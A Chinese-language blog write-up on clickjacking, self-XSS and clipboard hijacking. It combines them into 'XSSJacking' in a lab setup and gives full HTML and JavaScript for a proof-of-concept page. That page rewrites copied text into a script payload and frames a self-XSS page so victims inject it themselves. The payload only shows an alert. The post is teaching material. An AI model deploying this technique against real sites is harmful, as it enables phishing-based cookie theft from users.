点击劫持

这一篇总结得很清楚也很通俗易懂(手动滑稽)
https://blog.csdn.net/qq_32523587/article/details/79613768

Self-XSS

一些网站为了用户体验着想会有这么一个功能,就是用户在提交信息失败并且需要返回去填的时候会帮你自动把之前填写的信息补全回来,这样就避免了用户的重新输入,节省了用户的时间。这是一个很好很人性化的功能,但是这种补全可能不那么被重视,所以很多网站也不会对输出进行过滤,这样就可能存在XSS漏洞,而我遇到的场景也是这样的:用户登录失败的时候网站会自动把上次尝试登陆的用户名补全,但是并没有对用户名信息进行过滤,所以就存在 XSS,但是用户怎么会输入XSS payload打自己,所以就特别的鸡肋几乎无用

复制粘贴劫持

无论用户复制了什么,粘贴的时候始终是黑客自定义的内容

组合攻击——XSS劫持

修改参考这个靶场:https://security.love/XSSJacking/
index1.html,存在Self-XSS的页面,需要引入angular.min.jsmain.js,主要是有一个文本输入框,其中ng-change指令的作用是当输入框的值改变时执行函数,ng-model指令可以将输入域的值与 AngularJS 创建的变量绑定,代码如下

1
2
3
4
5
6
7
8
9
10
11
<html>
<head>
<script src="angular.min.js"></script>
<script src="main.js"></script>
</head>
<body ng-app="xssApp" ng-controller="mainController">
<h1> </h1>
<textarea placeholer="Vulnerable to XSS" ng-model="textArea" ng-change="checkForAlert(textArea)" style="height:100%; width:100%;">
</textarea>
</body>
</html>

main.js代码如下,模拟的输入<script>alert(document.cookie)</script>即可X自己,这里需要AngularJS的支持

1
2
3
4
5
6
7
8
var redisApp = angular.module('xssApp', []);
redisApp.controller('mainController', ['$scope', function($scope) {
$scope.checkForAlert = function(text){
if(text == "<script>alert(document.cookie)</script>"){
alert(document.cookie);
}
}
}]);

angular.min.js如下
https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js

目标站点存在Self-XSS

页面如下,是一个很大的文本框,输入<script>alert(document.cookie)</script>就弹出了cookie,这里模拟的是Self-XSS

目标站点存在Click Jacking

我们查看响应,发现目标站点并未设置X-Frame-Options头,即存在Click Jacking漏洞:

编写POC进行XSS Jacking获取用户Cookie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html>
<head>
</head>
<body>
Enter your email below to register:
</br>
<textarea autofocus style="width:220px; height:35px;"></textarea>
</br>
Repeat your email:
</br>
<iframe style="width:230px; height:50px;" frameBorder="0" src="index.html"></iframe>
</br>
<input type="submit"></input>
<script>
document.addEventListener('copy', function(e){
console.log(e);
//
e.clipboardData.setData('text/plain', '\x3cscript\x3ealert(document.cookie)\x3c/script\x3e');
e.preventDefault(); // We want our data, not data from any selection, to be written to the clipboard
});
</script>
</body>
</html>

网页界面如下

在这个网页只要使用了复制键那么复制的内容都是<script>alert(document.cookie)</script>,再次输入邮箱的文本框其实是利用iframe标签打开的index.html网页,存在XSS漏洞,所以当用户输入邮箱后为了方便就会复制上面填写好的邮箱,然后粘贴到下面确认邮箱的框框,那么就是将XSS代码插入到了index.html自己X了自己

所以这个组合利用需要结合一下钓鱼社工实现窃取受害者的cookie等敏感信息

参考连接

https://www.freebuf.com/articles/web/130462.html
https://www.freebuf.com/articles/web/164069.html
https://www.mi1k7ea.com/2020/01/26/%E6%B5%85%E6%9E%90XSSJacking/